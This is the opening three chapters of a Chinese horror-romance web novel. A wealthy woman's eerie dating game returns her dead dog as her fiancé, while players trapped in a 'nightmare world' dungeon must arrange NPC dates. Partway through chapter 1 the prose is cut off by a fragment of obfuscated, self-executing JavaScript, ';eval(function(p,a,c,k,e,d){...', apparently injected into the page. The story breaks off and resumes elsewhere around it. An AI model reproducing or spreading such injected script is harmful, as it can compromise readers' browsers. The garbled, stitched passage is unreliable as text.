《前男友是无限流boss》 1. 心跳百分百(一) “……游戏已卸载。” 粉红色的残影在眼前消逝,连带着那一张张热情洋溢赛过牛郎的俊俏脸庞一起。 手指轻轻一点,一个对话框突兀地出现在眼前。 这些铺天盖地的广告可真烦! 阮思甜刚想关闭它,一个手滑不小心点了进去。 “也许是久别重逢,也许是命中注定。” “在这个星光与阴影交织的夜晚,恭喜您与这款最美妙最独特的恋爱游戏相遇。” 对话背景是一片流动的深蓝色,如星空一般深邃,万千光点如星辰般无声流转。 字体是优雅的烫金手写体,边缘泛着微弱的光晕,如呼吸一般。 “它愿将自己的心意托付于您,请问你是否会做出同等的回应?” 现在的游戏营销话术越来越玄乎了,明明只想爆她的金币,还扯上了心意! 不知道为什么,明明不想再浪费时间,她的嘴却比她的脑子先一步做出了反应。 “是。” “游戏下载中,下载进度百分之五……百分之十……” 算了,反正干等着也不是事,那就试试! 她收起手机,抬起头。 全息穹顶散发出璀璨迷离的光,如银河倾泄。 这里是嘉恒大厦C区十五楼,可以说是整个星海市最繁华的区域之一。 而现在是晚上八点,一天中最为喧闹的时刻。 璀璨的光从头顶倾落,洒在琳琅满目的店铺招牌上。 空气里香水特有的甜蜜花果香,奢侈的皮革香,还有天南海北各种食物的香味。 电影院不远处有各种全息体验馆,或令人脸红心跳,或令人胆战心惊。 在这里,只要你有足够的星海币,就可以购买到你人生中的春天。 阮思甜穿行其间。 她穿着一条简洁的白色收腰长裙,外罩米色羊绒披肩,整个人看上去高挑清瘦。 长发松松地绾在脑后,耳侧则垂落着几缕微卷的碎发。碎发间的珍珠耳钉若隐若现,配着脖子上镶嵌碎钻的珍珠吊坠,显出一种温润出尘的气质。 不笑时,这张脸温婉娴静,鼻梁挺直,眉眼间有种淡淡的疏离感,那是长年的优渥生活滋养出的。 而当她微笑时,眼睛会弯成月牙,嘴角的梨涡若隐若现,整个人像春日的花朵般绽开,甜得令人心颤。 但是现在,阮思甜笑不出来。 很明显,她的心情算不上好。 因为那个和她久别重逢,说要一起看电影的人已经整整迟到了三十分钟。 徐媛到底在干什么? 明明是她主动邀约,说什么难得一聚,却连最基本的时间观念都没有? 阮思甜纳闷。 “抱歉抱歉,思甜,三号线又出了一点点故障……” 对方发了个哭的表情。 徐媛出身不错,喜欢体验各种平民的生活方式,乘坐公共交通出行,的确是她会做出的选择。 阮思甜微微蹙眉,等待的间隙,目光掠过对面的广告牌。 大部分是有关恋爱游戏的,号称制作精良,要带给所有女性最舒适的体验。 可真是……令人腻味! 就像是那些饰品一样。 刚刚她还在各种珠宝品牌的vip室里,看着这个季度的最新限量版系列。 珠宝设计过程中融入了高科技的元素,生怕不够动人,还很贴心地编织了各种配套故事。 美而空洞,千篇一律。 她决定找点别的事去做,以打发时间。 刚才那个看起来很会糊弄人的游戏已经下载好了,可以体验一下。 解锁手机后,屏幕亮起。 “安装已完成,祝您游戏愉快!” 手机界面多了一个图标。 不是预想中冒着粉色泡泡的爱心模样,而是一个极其简洁的图案。 那是一颗跳动的心脏,它缓慢而有力地搏动着,极具生命感。 屏幕再次暗了下去,几乎让她以为这游戏出了什么故障。 随即,一行行哥特风的文字浮现,华美而阴郁。 “小狗是对人类最忠诚的动物。” “它将全部的爱与生命,毫无保留地付与人类。” “每个人的一生中都会有一只独属于她的小狗。” “哪怕小狗不在了,它也会化作天上的星星,在遥远的天幕中默默注视陪伴着你。” “它的爱跨越虚与实,生与死。” “即使身躯被毁灭,它的灵魂也会冲破一切束缚,穿越亿万光年抵达你的眼前。” “现在,您准备好迎接归来的小狗了吗?” 阮思甜手指微微颤抖,明明是矫情又浮夸的文字,却意外触碰到了她心中隐秘的角落。 多年前失去的那只哈士奇,还有那个人,此刻再次浮现于眼前。 那只狗又精明又傻,整天想着吃吃吃,总会用湿漉漉的鼻子来蹭她的手,还会轻轻咬着她的手玩。 结果傻狗没有好下场。 在某个阳光炽热的盛夏,意外发生了。 而那个人…… 停!别想了! 阮思甜很快控制好了自己的情绪。 “是。” “请为您的小狗命名。” “陆秋白。” “身高?” “体重?” “特殊尺寸?” ???这个见鬼的游戏在想什么? * 没有冗长的开场动画,屏幕又一次暗了下去。 阮思甜屏住呼吸。 几秒钟后,画面中央出现了一个手绘风的Q版小人。 他安静地背对着她蹲在地上,仿佛与整个世界格格不入。 小人有一头柔顺的银色短发,闪耀着璀璨的光芒,头顶还竖着两只毛绒绒的哈士奇耳朵。 不过,此刻这两只耳朵是耷拉着的,看上去有些无精打采。 啊啊啊! 深黑色耳背带一点点白尖,这是她的狗子特有的! 虽然知道这是高科技时代,根据客户的信息进行的特殊定制,她还是不争气地心软了一下。 可恶! 阮思甜的眼眶微微湿润。 不管了,小狗多么香啊! 她试探着用手戳了戳他的背,画面中的小人毫无反应。 又用手在他背上停顿片刻,之后一路往上,蠢蠢欲动的手对准了小狗毛绒绒的耳尖! 戳他! 对方的耳朵立刻一抖,继而竖得笔直。 紧接着,Q版小人缓缓站了起来,而后转身,用那张Q版包子脸面无表情地看着她。 哪怕隔着屏幕,她依然有一种两人四目相对的感觉。 【对于您冒犯的举动,您的小狗十分不悦。接下来,他决定冷酷地对您进行观察!】 啊,好冷酷! 冷酷的包子脸!冷酷的狗子! 可真是太冷酷了! 为了配合小人,屏幕之外的阮思甜也收起笑容,努力摆出一副严肃的表情。 不行,还是好想笑怎么办?哈哈哈…… 游戏中的小人似乎察觉了阮思甜的态度,眯了眯眼,将头不着痕迹地偏开。 阮思甜继续伸出她的手。 戳戳戳! 小人的脸颊被戳得凹进去了一点,他皱了皱眉,淡蓝色的眼眸转向屏幕的方向,仿佛真的在看她。 咳! 她被看得不好意思起来,慢慢收回了手。 接着,小人移开了视线,恢复成那副波澜不惊的摸样。 她有些遗憾,她的小狗竟然没有恼羞成怒。 虽然有点冷淡,但怎么就……那么的可爱呢? 心都要被萌化啦! 有一说一,现在的游戏在交互这一块做得真不错,非常生动!她想。 游戏并没有明确的新手指引,自由度非常高。 她试着滑动屏幕,小人就跟着走动起来。 游戏整体也是手绘风格的,线条流畅而犀利,色彩艳丽,但画风却莫名阴森,有种诡诞而华丽的美感。 眼前的场景似乎是一个废弃的科技园区,到处都是残破的金属与水泥框架。 坏掉的灯光一闪一闪的,地面积水中诡谲的光明灭。 走了几步,画面边缘突然冒出几个摇晃的东西,色彩十分鲜艳。 它们就像是一个个人形蘑菇,头顶有伞盖,下方却是扭曲的肢体,像一条条根须交缠在一起。 移动时,这些蘑菇人还会发出黏腻的声音。 难道是怪物? 阮思甜立刻操控她的小狗进入战斗状态。 她先是拖动Q版小人,又点了点蘑菇人。 小人很快做出了反应。 他的动作快得几乎看不清,像是一道暗影掠过。 没有华丽的特效,没有惨叫,几个蘑菇人就直接消失了。 ??? 一个手绘风游戏的动作系统竟有如此实力? 恐怖如斯! 啊,真不愧是她的小狗!!! 等等,不,不是消失! 阮思甜睁大了眼睛。 小人站在了原地,喉结微微滚动了一下,转瞬间喉结又消失不见。 画面角落跳出了一个极小的提示:【饥饿值-1】 他把那个蘑菇人给吃掉了? 阮思甜先是感到一阵恶寒。 很快,这种不甚美妙的感觉消失了,转化为一种哭笑不得的怜爱。 她的小狗一定是太饿了! 这辣鸡游戏怎么回事?居然不给他正常食物,以致他去吃这种来历不明、丑陋诡异的东西! 吃坏肚子了怎么办! 她立刻去找商城。 商城的图标很隐蔽,点开后里面空空荡荡的,没有食物,只有寥寥几个外观。 【作为您专属的小狗,怎么能少得了一个霸总的身份呢?而作为霸总小狗,又怎么能不光鲜亮丽呢?】 【限量版手工西装套】 物品介绍:大师级工艺,纯手工制造,买不了吃亏,买不了上当! (限时优惠):648星海币。 【限量版顶奢腕表】 物品介绍:谁能拒绝这光芒闪瞎钛合金狗眼的顶级腕表?这无与伦比的尊享与奢华,您的小狗值得拥有! (限时优惠):6488星海币。 【星海顶级住宅套】 物品介绍:可升级的家园系统,氪金即可升级为科技城形态,高效便利!霸总小狗必备! (限时优惠):64888星海币。 阮思甜挑了挑眉。 这定价……可真敢啊! 没有任何犹豫,她指尖一点,支付验证通过。 她的账户消费权限极高,这点数额连提示都不会有。 很快,屏幕上的小人换上了那套豪华版西装,手腕上还多了块表。 而他身后那片原本破败的家园,在一阵华丽的光效后,变成了一座充满现代科技感、线条冷硬的手绘风科技公司。 【您的小狗对您的品味十分满意,好感度+1!】 什么好感度加一?既然是她的小狗,好感度不该是天生的满级状态吗?! 大概是游戏为了增加趣味而进行的设定?懂了,诶嘿嘿! 她露出一副了然的表情。 好像还差了点什么?她试着敲了敲商城。 “能沟通吗?” “你都说了是霸总小狗,我喜欢儒雅款的,给我来个金丝边眼镜!” 商城装死,毫无反应。 阮思甜又冲了个64888。 一阵更加璀璨的光芒过后,一副做工精良的金边眼镜出现。 她亲手为小狗戴上。 “这才像样。”富婆小姐姐满意地点点头。 以往那些游戏只会用各种手段诱惑她砸钱,回报她的却是流水线批量生产的“甜蜜爱情”,仿佛她是个人傻钱多的氪金工具人,被甜蜜暴击一下就会“噗噗噗”往外爆金币那种! 这个古怪的小游戏,反而让她有种在真正养着什么,与什么互动的感觉。 她继续操控小人向远处走去。 在那里,灯光璀璨,一望而知的繁华。 谁知她的小狗并没能走入那片繁华热闹中。 走出科技园,穿过一条小巷后,前方的景象突然一变。 那是一个小区。 但画风与之前截然不同。 这里阴森、破败,围墙是灰白色的,被岁月侵蚀剥落后,内部露出一大块一大块的暗红色。 像是一滩滩泼上去的血。 锈蚀的铁制大门半开着,一次可容一人通过,像是在无声地对小人进行某种邀请。 门后密密麻麻的老式居民楼像是一头头野兽,阴森地盘踞在浓重的阴影里。 每一扇窗户都是黑洞洞的,显而易见缺乏人气。 即使是手绘画风,也能看出一种强烈的阴森感。 不知何时,小区的铁门后出现了一个更诡异的手绘风小人npc,对方隐没在黑暗中,似乎正朝她的小狗招手。 勉强能看清他穿着不合身的宽大旧衣服,衣服上还有大片大片的暗红色污渍。 奇怪,感觉很僵硬,怎么那么像个假人呢? 再凑近一点,她发现对方肩膀上的位置空荡荡的。 他没有头!!! 此刻,这个无头假人npc就以这么一种古怪的姿态,缓缓抬起一条手臂,往后朝她的小狗机械地招手。 她的小狗双手插兜,毫无反应。 片刻后,一种诡异的念头击中了她。 不,从那个角度看,他是在朝她招手! 那一瞬间,阮思甜只觉一阵寒意渗入身体中,游戏中的诡异感穿透屏幕,向她汹涌袭来。 也就是在这一刻,一阵电话铃声打断了她的游戏进程。 “思甜,我到影院门口了!票已经重新买好啦,你在哪儿呢?快开场了哦!” * 退出游戏后,那股阴寒感渐渐散去。 她没有注意到,在画面暗下去的最后一刻,那个站在小区门口的小人竟微微侧过头,淡蓝色的眼睛朝着屏幕外的方向,淡淡地瞥了一眼。 见到阮思甜的那一瞬间,徐媛明显呈现出一种真实的激动和喜悦。 她热情地拉住童年友人的手,不住地嘘寒问暖。 阮思甜不动声色地将手抽出,笑了笑,“电影快开始了,我们先进去吧!” 徐媛一拍脑袋,“对对对,先看电影!最近大火的青春爱情片呢……” 阮思甜纳闷,当年的事发生以后,这人为什么可以像个没事人一样? 电影是全息沉浸式的,带上特制的眼镜后,就能以主角视角体验一场令人荡气回肠(狗血乱洒)的校园恋爱。 看着那春日诗意的桃花雨,再看看男主那看狗都深情的眼神,还有那些让她这个年纪的人脚趾抠地的甜蜜台词,她很艰难地管理好自己的表情。 徐媛明显也被雷到了,边啃爆米花边吐槽道:“狗都不看的玩意,怎么火起来的?” 电影结束时,两人同时松了口气,随着骂声一片的人群涌向出口。 去甜品店消遣了一会后,徐媛又提议要去一家珍奇馆。 边聊边向外走时,徐媛忽然捂住肚子,露出痛苦的表情:“哎呀,不好,我得去趟厕所!” 阮思甜点了点头,“我去那边等你。” 一个高挑清瘦的年轻人似乎走得太急,胳膊肘不小心撞到了阮思甜。 “抱歉!”年轻人立刻低声说道。 他的声音透着一股子腼腆和无措,阮思甜笑了笑,“没事。” 对方看起来二十出头,面容俊秀,甚至有些过于苍白。 他的眼神清澈,带着一种天然的温顺感,但在目光接触到阮思甜面容的瞬间,他脸色骤变。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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跑车汇入今夜的车流,如一滴水汇入江河。 不知过了多久,车身轻微一顿,停了下来。 怎么比预计的要快? “阮小姐,已抵达目的地。” 阮思甜看向窗外,预期中的别墅没有出现。 纵横交错的高架隔绝了明亮的灯光与繁华,前方是一大片一大片的垃圾场,以及隐没在垃圾场中的破旧小区。 这里弥漫着刺鼻的气息,连昏黄的灯光也显得病态。 微弱的光线中,一栋栋老旧的居民楼沉默地矗立着,墙体斑驳,有些窗户连玻璃都没有,像是一只只黑洞洞的眼睛。 她隐约猜测出这是哪里。 多年前,星海市的科技尚未发展到如今这种地步,老城区的人过着一种安定而贫穷的生活。 直到有一天,一个名为星海科技的巨型集团来到了这片土地。 从那以后,一项项技术获得突破性的发展,一个又一个高新科技园区拔地而起,星海科技带着这座城市走向了一种难以料想的高度。 在人工智能、仿生人与机械生命技术高度成熟的同时,大批传统行业被取代,难以计数的中低端手工业者破产。 明明和新区仅数街之隔,却是截然不同的景象,像是天堂和地狱的区别。 极端的贫穷带来暴力、罪恶与混乱,阮思甜只在记载往事的书页和流传的都市怪谈中了解过这个地方。 但现在,那辆故障的跑车却带她来到了这么个地方。 更要命的是,为什么这地方会和刚才游戏里那个小区那么像? 寒意再次蹿上脊背。 “怎么回事?”她声音冷了几分。 机械的男声发出故障般的“嘶嘶”声,只是一个劲地重复“已抵达目的地”。 所谓的最新科技是这么个玩意? 不确定这车还有没有更严重的问题,阮思甜放弃了手动驾驶的计划,转而用手机就近联系了她的另一辆车。 取出一把枪防身后,她缓缓打开车门,选择远离这辆故障车。 一股强烈的恶臭味扑面而来,像是各种东西腐烂后散发出的味道交织在一起,令人作呕。 阮思甜屏住呼吸,前行了一段距离。 前方果然出现了那对锈蚀的铁门。 “吱呀”一声,明明没有任何人,其中一扇门却缓缓打开,露出一次仅容一人通过的间隙。 哪怕并不信鬼神,她的额上还是不自觉地冒出冷汗。 而在门的边上,仿佛出现了一道浓重的扭曲黑影。 冷风拂过的瞬间,有什么东西一闪而逝,她正要开枪,发现眼前空无一物。 片刻后,树叶摇动的“哗哗”声传入她的耳中。 原来是树影啊! 阮思甜用一只手拍了拍心口,松了一口气。 这时候,她的另一辆车已抵达,司机恭敬地为她打开了车门。 汽车平稳启动,很快带着她离开这片令人不安的区域。 在她离去后,铁门后才传出极为克制的咀嚼声,一声又一声。 黑色的浓稠液体从铁门底部缓缓渗出,无声蔓延。 * 夜色已深,阮思甜只想尽快回家,于是去了离她最近的一套房子。 那是一个名为星海听澜的高端小区。 洗完澡后阮思甜换上睡袍,走近挑高近七米的宽阔客厅。 仿生人管家墨菲斯这时已将今天的事调查完,确认其中并无阴谋的痕迹,单纯只是各种令人无语的巧合。 听着对方的汇报,阮思甜点点头,“是这样啊!那没事了,你去休息吧!” 因使用数年,对方从未出错,目前她对墨菲斯处于一种信任的状态。 仿生人走后,客厅中又只剩下阮思甜一个人。 眼前一整面墙都是特制的落地窗,窗外是星海市无边的灯海。 而在这片璀璨灯海的中间,一片区域格外醒目。 那里的建筑更加挺拔工整,通体闪烁着冷色的光,自成一体,科技感十足,宛如城中之城。 星海科技集团! 这个词自然而然地在她脑海中冒出。 它辉煌而耀眼,是这座城市真正的心脏与大脑。 看了几秒后,她收回目光。 客厅中央有一张巨大的沙发,她朝沙发走去,片刻后蜷缩进了沙发旁柔软的人形狗窝里。 明明很累,但就是睡不着。 游戏中那个往后招手的无头npc浮现在眼前。 她甩甩头,将那个画面从脑子里赶出去。 一定是设计师为了博眼球搞的恶趣味彩蛋!她想,重点是狗子!她的赛博狗子! 只要她氪金,这个狗就不会再被偷,再遭遇不幸! 阮思甜决定打开手机,继续游戏。 那种阴冷感来的快去的也快,游戏瘾发作的游戏狗感觉自己又可以了! 屏幕再次亮起,她点开了那个心脏图标的游戏。 ??? 她的小狗不见了!手绘风的背景里空无一人。 难道离家出走了? 现在的智能npc确实会有一定的自主行动逻辑,阮思甜有点生气,又感到有些好笑。 她摆弄了一会,切换到地图界面。 代表小人的光点正在移动,速度还不慢。 场景随着他的移动而刷新,显示的景象越来越熟悉。 远离那个代表破败小区的灰暗色块后,色彩明丽的现代化街区出现。 很快,光点停了下来,地点上大大地显示出了四个字: 星海听澜! 游戏全程第一人称视角,阮思甜的心跳莫名加快。 停顿片刻后,光点又开始了移动,且速度疯狂加快。 近了,近了,更近了…… 复古感十足的大门外,门牌号清晰可见。 光点又一次停了下来。 阮思甜的心跳漏了一拍,一股冰冷的寒意从尾椎骨蹿上头顶,又沿着四肢百骸密密麻麻地发散开。 她明显预感到了什么,全身血液似乎在这一瞬间凝固了,屏住了呼吸。 “咚、咚、咚!” 午夜十二点。 门外响起重重的敲门声。 2. 心跳百分百(二) “意识剥离中……” 冰冷的声音在虚无中响起,撕裂般的疼痛充斥灵魂。 江敛想要不顾一切地尖叫,却发现没有了嘴,甚至连躯体也感知不到了,意识漂浮在一个无法用语言描述的空间里。 无边的黑暗和混沌中,诡异的线条像有生命般,正无声流动。 世间和空间在这里失去了意义,包括他在内,一切都在旋转、折叠、碎裂又重组。 “噩梦世界加载中……” “作为被选中的玩家,欢迎进入这个奇特而美妙的世界,开启最激动人心的冒险旅程!” 不!他并不想进行什么冒险!他的妹妹还在医院! 江敛内心抗拒。 “您还在留恋现实吗?纵观您的一生,似乎并没有什么可值得留恋的。” “没办法,真话总是这样伤人呢!” 在这极致的混乱和不可描述中,一条条线在他的灵魂中进进出出。 “难道您忘了,您是为何找上我的吗?” 忽地,一条绷直的线出现在了他的眼前,线上沾满了暗红色的血。 江敛想起来了,他双亲惨死,仅有一个妹妹江玥活着。多年来两人相依为命。 但是后来,妹妹得了一种罕见的疾病。 能治,但要天价医疗费。 于是他放弃了学业,一天打三份工,最后却被黑心老板扣光了工资。 江敛不从,换来了一顿毒打。 那个满脸横肉的中年人叼着烟,用脚碾了碾他的脸,“哈?小兔崽子,你和我说良心?” “屁的良心!这就是社会的规矩!” “什么?你妹妹得了重病?需要钱?没钱那就让她等死好了!” 江敛费劲心力,最终贷款凑够了第一次手术所需的钱。 他跌跌撞撞地赶到医院,小心翼翼地走到妹妹的病房门口。 那个脸色苍白的少女正躺在病床上,双眼紧闭,呼吸微弱。 “怎么不早点过来?快要错过最佳的治疗时间了。” “你问我为什么不先治疗?当然得先缴费,流程就是这个样子的。” 也许是感应到了血脉至亲的羁绊,陷入昏迷中的江玥依然在无意识地挣扎着。 心电监护仪上那条线快要拉平。 医生用怜悯的眼神看着兄妹两人,继续说道:“这病无法根治,后续需要天价的维护费用,你们这种情况就算治好了,唉!” 绝望像冰冷的海水淹没了他。 江敛想起来了,当晚他在网上搜索不惜任何代价也要拯救至亲的方法时,点进了一个由怪异线条交织而成的繁花图标。 那是一个纯黑色背景、血色文字的论坛。 现在,那条染血的线,即将拉平的心电图线,与眼前论坛图标上扭曲的线条,在他痛苦的脑海中拧成了一股无法挣脱的绳索。 他不再抗拒。 * 耳边是哗啦啦的水声和人群的嬉闹声,再次睁眼时,江敛发现自己正处在一座广场上。 头依然晕乎乎的,还有点恶心。 “心跳吧!恋爱吧!让我们一起进入这狂热的季节!” 铺天盖地的广告语配上那令人脸红的全息画面,诱惑感拉满。 于此同时,手机上突然弹出一个广告图标。 江敛下意识想关闭它,却莫名其妙进入了下载界面,不久后手机界面多出了一个跳动的心脏图标。 他一脸迷茫地看着手机,片刻后又抬起了头。 不知道为什么,眩晕的感觉似乎加重了一点,让他无暇多想。 璀璨的灯光在夜空中交织,空气中漂浮着各种陌生的气味。 那是繁华和科技的味道,用金钱堆积而成。 但是江敛不想狂热恋爱,他只觉得满脑子雾水。 这是哪里?怎么回事??? 难道刚才经历的那一刻都是真的? 他的手指微微颤抖。 在手机屏幕上再次翻找了几下后,他发现手机界面真的多了一个论坛图标。 大脑一片空白。 “新人?”就在他心慌不已时,一个低沉的声音从左侧传来。 江敛转头,看见了一个身穿夹克衫的中年男人。 对方双手插兜,姿态闲适,但江敛能感受到某种戒备之意。 “请问——” 他的话还没说完,就被打断了,“等会再说,过来这边!对了,我叫赵杰,你叫我杰哥就行。” 说完赵杰转身往广场中间的喷泉走去,江敛有些犹豫,片刻后还是选择跟上。 很快,对方就带着江敛来到了一个三十出头的女子身边。 她穿着一身职业女性的套装,留着一头齐肩短发,戴一副细边眼镜,眼神十分犀利,整个人看上去精明而干练。 “雪姐。”赵杰对她打了个招呼,“第四个醒来的新人,也是这一批最后一个。” 江敛这才注意到,周围还有三个人。 “怎么回事?”“这是哪里?”“你们谁啊?” 一连串的疑问此起彼伏。 最引人注目的是一个黄毛杀马特,他的衣物打满了奇怪的补丁,还挂了不少金属饰物和亮片。 他的左边站着一个挂着大金链子的富态男人,此刻一脸迷离;右边则是一位十七八岁的少女,看着娇俏而活泼,一副跃跃欲试的样子。 “也许是久别重逢,也许是宿命所定,我们在噩梦的深处相遇。” “在这个星光迷离的夜晚,欢迎各位来到这座浪漫的科技之都,开启这一段浪漫又奇特的恋爱旅程。” “所有玩家已就位,副本正式开启中。” “副本名称:心跳百分百。” “难度:C级。” “任务:协助三位NPC分别游玩心跳百分百这款游戏,匹配成功后,完成一场完美的约会。当NPC死亡,而玩家尚未完成任务,则由玩家继续进行游戏。” “注意事项:禁止更换NPC约会目标,禁止向NPC透露噩梦世界相关信息。” “祝您旅途愉快!” 新人玩家们惊呆了,冰冷的声音直接浮现在他们脑海。与此同时,噩梦世界的观众也十分震惊。 【我靠,赵杰也就算了,居然还有雪姐!】 【雪姐?就是那个以思虑周全闻名,成功通关四个c级副本,三个b级副本的文雪?居然出现在这种低难度新人c级本中!】 【!!!真的是她!我没记错的话,春季即将推出年度大型A级副本《尸城》,文雪就是这个本的热门候选人之一吧?】 【这波稳了,之前出的那个血婚系列嘎嘎乱杀一片,看得我心慌,来这种低级本放松下,哈哈哈!】 【嘿嘿,先不说雪姐了,接下来估计又要到我最爱的环节。】 【赌一根辣条,我猜是那个杀马特。】 【瞧不起杀马特是吧?我猜是大金链子,或者最后那个小哥,他看着就不太对劲!】 【三、二、一!】 “什么鬼?我才不玩,这到底是什么鬼地方?” 回过神来的富态中年人突然大吼一声,满脸通红,语气愤怒至极,“新型绑架?老子明明在小美家,怎么会出现在这?” 他双眼一眯,“还是说小美那贱人联合你们给老子下套呢?哼,老子在黑白两道都有人……” 【芜湖!就猜是他!】 【经典新人作死开场!我喜欢!不知道这次怎么个死法?】 文雪推了推眼镜,平静道:“先生,我建议你冷静。看看你手心。” 金链男一愣,低头。 在他的掌心间,一条红黑交错的线隐隐流动。 “这是噩梦世界对人的标记,”文雪的声线依旧平稳,“哪怕把手砍了,标记依然无法去除。” “放屁!”金链男暴怒,“什么噩梦世界?什么任务?回头老子找人弄死你!” 边说边往外跑。 文雪没有任何阻拦的意思。 “砰”的一声,血肉炸开,血雾弥漫。 “哇!好美!” 一对情侣笑着从旁边走过,女孩指了指水柱交错流光溢彩的喷泉,此时灯光如红色的星星洒落,“真的好浪漫啊!” 男孩拉着她的手,温柔地回应,“喜欢看的话,下次我们再来!” 江敛只觉浑身发寒,而杀马特也明显受到了不小的惊吓,那个少女有些不忍地别开目光。 文雪连眼皮都没抬,“都看到了?想活下去,就按规则来。” * 文雪简单地自我介绍后,赵杰不好意思地摸了摸头,“哈哈,我不比雪姐,只经历过两次c级本和一次b级本,还练过几年散打。” “接下来简单介绍一下自己,以及各自的特长,”文雪用手指了下黄毛,“从你开始。” “陈野,”黄毛抓了抓头发,金属指套碰撞发出叮当脆响,“搞乐队的,哦,对了,我很会打架!” 文雪没说话,目光转向江敛。 后者的声音有些干涩,“我叫江敛,是个辍学的学生,没什么特长。” “颜乐!”少女活泼地举起手,“我也是个学生。特长的话,我记忆力很好,算吗?” 文雪点点头,“打开你们的手机……” 除了那个任务要求被强制安装的“恋爱”软件外,玩家们的手机中还有个黑红交错的繁花图标。 那是噩梦世界的论坛,被拉入该世界的玩家会自动生成一个账号,任务流程可在论坛中查找。 【当前任务:接触一号NPC徐媛。】 【当前状态:正于嘉恒大厦C区观影。】 【任务目标:协助徐媛成功游玩心跳百分百这款游戏,并与游戏中匹配到的对象进行一次圆满的约会。】 【提示:约会对象由游戏自动匹配,请勿干扰匹配过程。】 文雪:“现在进入商场,记住三点:第一,不要暴露玩家身份;第二,不要擅自招惹其他npc;第三,先在附近观察,如果发现任何异常,立刻报告,不要擅自行动。” * 嘉恒大厦内部的奢华让江敛有些无所适从,他眉眼低垂,保持着一种克制的表情。 而走在他边上的陈野则好奇地睁大了眼,不住东张西望,嘴里还发出“啧啧”的感叹声。 其他几人的表情则要淡定的多。 一行人汇入人流中,缓缓朝目标移动。 文雪:“徐媛刚看完电影,现在和朋友在一家甜品店中。” “朋友?需要避开吗?”颜乐在任务群里打字问道。 文雪:“不用,正好听听他们在说什么。阿杰,找个时机,准备录音。” 确认完目标后,赵杰走入甜品店。 装模作样买完一块蛋糕后,他从口袋中掏出一个纽扣大小的装置,隐蔽地将它安装在徐媛附近的植物里。 一道飒爽的女声响起,“阮思甜啊,你可真是悠闲,令人羡慕。” 另一道温柔的女声响起:“是啊,阿媛,我可没什么大志气,每天负责吃喝玩乐就好啦!” 只听徐媛又道:“唉,大部分人是这样的,不像我,每天忙着环保事业,忙都忙不过来!” 阮思甜语气越发温柔了:“是啊,毕竟我们家可没有一个想要上位的能干私生子,躺平就好了,哎呀,抱歉抱歉,我不是有意的……” 颜乐听着耳机里的对话,“噗嗤”一下就笑了出来。 随即是短暂的沉默。 片刻后,徐媛揭过这一茬。文雪看到她的身体微微前倾。 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在江敛的视角里,看不到那道人影的头颅,只看到两只苍白到毫无血色的手正缓缓伸出,一左一右,不容挣脱地按在了她细嫩的脖颈两侧,缓缓收紧。 死亡的浓重气息传来,令人心惊。 惊慌失措下,他甚至意识不到自己做了什么。 “江敛!”杰哥的低喝将他拉回现实。 【脑残吧,见到个美貌npc就往上贴?】 【看他那一脸衰样,这种人十有八九是个现实世界的loser,任务世界里找补来了!】 【这么看黄毛都比他有节操,这种人赶紧去死,别拖后腿!】 被带到一处隐蔽地点后,江敛数次欲言又止,都被杰哥愤怒地打断。 “你小子米虫上脑,没见过漂亮女人是吧?” “都说了不要随便招惹未知npc,这种出现在任务目标附近,长得又特别好看的,往往是任务世界设置的陷阱。” “连不少自以为是的老玩家都栽在这里面,最后连累整个团队翻车,你一个新人还敢往上凑?找死呢!” 一顿劈头盖脸的咒骂让江敛顿时蒙了。 莫非他看到的只是幻像?是任务设下的陷阱? 老玩家的权威性让他顿时陷入自我怀疑中。 “哎呀,杰哥,算了算了,我们作为新人哪知道这些,您消消气哈,下次绝对不敢了!”陈野帮忙解围道。 杰哥不复之前的热情友善,阴沉地看了江敛一眼,那目光跟看死人没什么区别。 他扭头就走。 陈野又安慰了江敛几句,“嗨,兄弟,没什么大不了的,我也喜欢看美女,但你也得分场合是不?哈哈哈……” * 午夜,星海听澜。 “咚、咚、咚。”手机里传出敲门声。 随即,门外同步响起一模一样的声音。 “咚、咚、咚!” 从力度到节奏,一模一样。 购买时考虑到隐私需求,她买下了顶层整整三层套房,进入其中需要她的授权。 这也意味着整整三层,除了她以外,不会有一个活人。 而现在,却有“人”径自闯入了这里。 阮思甜的大脑飞速旋转,被动等待不是她的性格。 明明想要做点什么,身体却开始不听使唤。 久久无人开门,敲门声终于停止。 短暂的寂静,如死亡一般漫长。 她听到了空调出风口的细微气流声,听到了窗外繁华都市遥远的喧嚣,听到了自己惶恐的心跳。 一声又一声,似乎在应和着方才的敲门声。 “咚、咚、咚……” 片刻之间,声音再一次响起。 这一次不再是门外,而是四面八方。 地板,天花板,墙壁…… 层层叠叠,像有无数只手在同时敲击,又像是某种庞然大物的心跳,透过建筑的骨骼肌理传入。 阮思甜感到一阵眩晕。 很快,声音停止,世界再次安静。 一股冷香从门外缓缓渗入。 那是某种难以言说的森冷木质调,她总觉得这味道极其陌生,却又似曾相似,矛盾至极。 那香味一步一步逼近她,一点一点包裹她,触碰到她裸露在外的皮肤,又穿透柔软的衣料,缓缓游走于隐秘的肌肤之上,激起阵阵战栗。 她感到冷。 不是指气温,而是某种更深刻的侵蚀。 “谁?”那一刻,她选择了开口。 漫长的死寂过后,玄关处传来“咔哒”一声。 那是最高权限覆盖,门锁被强制解除的声音。 门被无声地推开。 室内微弱的暖光流淌出去,切开门外浓稠如墨的黑暗。 光影交界处,沉默地站着一个身影。 他的轮廓镶嵌着一道模糊的光,阮思甜脑海中忽然掠过一些破碎的画面。 这些画面仿佛是突然之间被塞入,又仿佛原本就在她脑海里存在了很多年,此刻再度被唤醒。 她一下子看清了他的样子。 手工裁剪的西装映衬出他清瘦挺拔的身形,手腕处的腕表彰显着独特的品味。 半明半暗的光线中和了他锋芒毕露的气质,那张戴着金丝边眼镜的脸此刻显得温润而清雅。 “小甜。” 他开口唤她,声音低沉,如最美妙的乐章滑过夜色。 “我回来了。” 所有的迷茫、疑虑和恐惧,在这句话面前奇异地消散,变成了理所当然的思念。 哦,她想起来了,这是她的男友陆秋白! 3. 心跳百分百(三) 朦胧的灯光下,陆秋白的影子被拉的很长。 他站在门框里,像是一副复古而典雅的油画,所有色彩被夜色浸透、凝固。 他的身形挺拔如松,手工定制的西装完美贴合他的身体线条,勾勒出宽肩窄腰的轮廓。 而他的眼睛,那双金丝边眼镜后平静无波的眼睛,就这样静静地看着她。 星海市的春夜隐隐流动着薄雾,阮思甜觉得,现在那片雾弥漫在她脑子里。 陆秋白。 她的男朋友,陆秋白。 更准确的说,是她的未婚夫陆秋白! 多离谱!他出差三个月,她都快把他遗忘了。 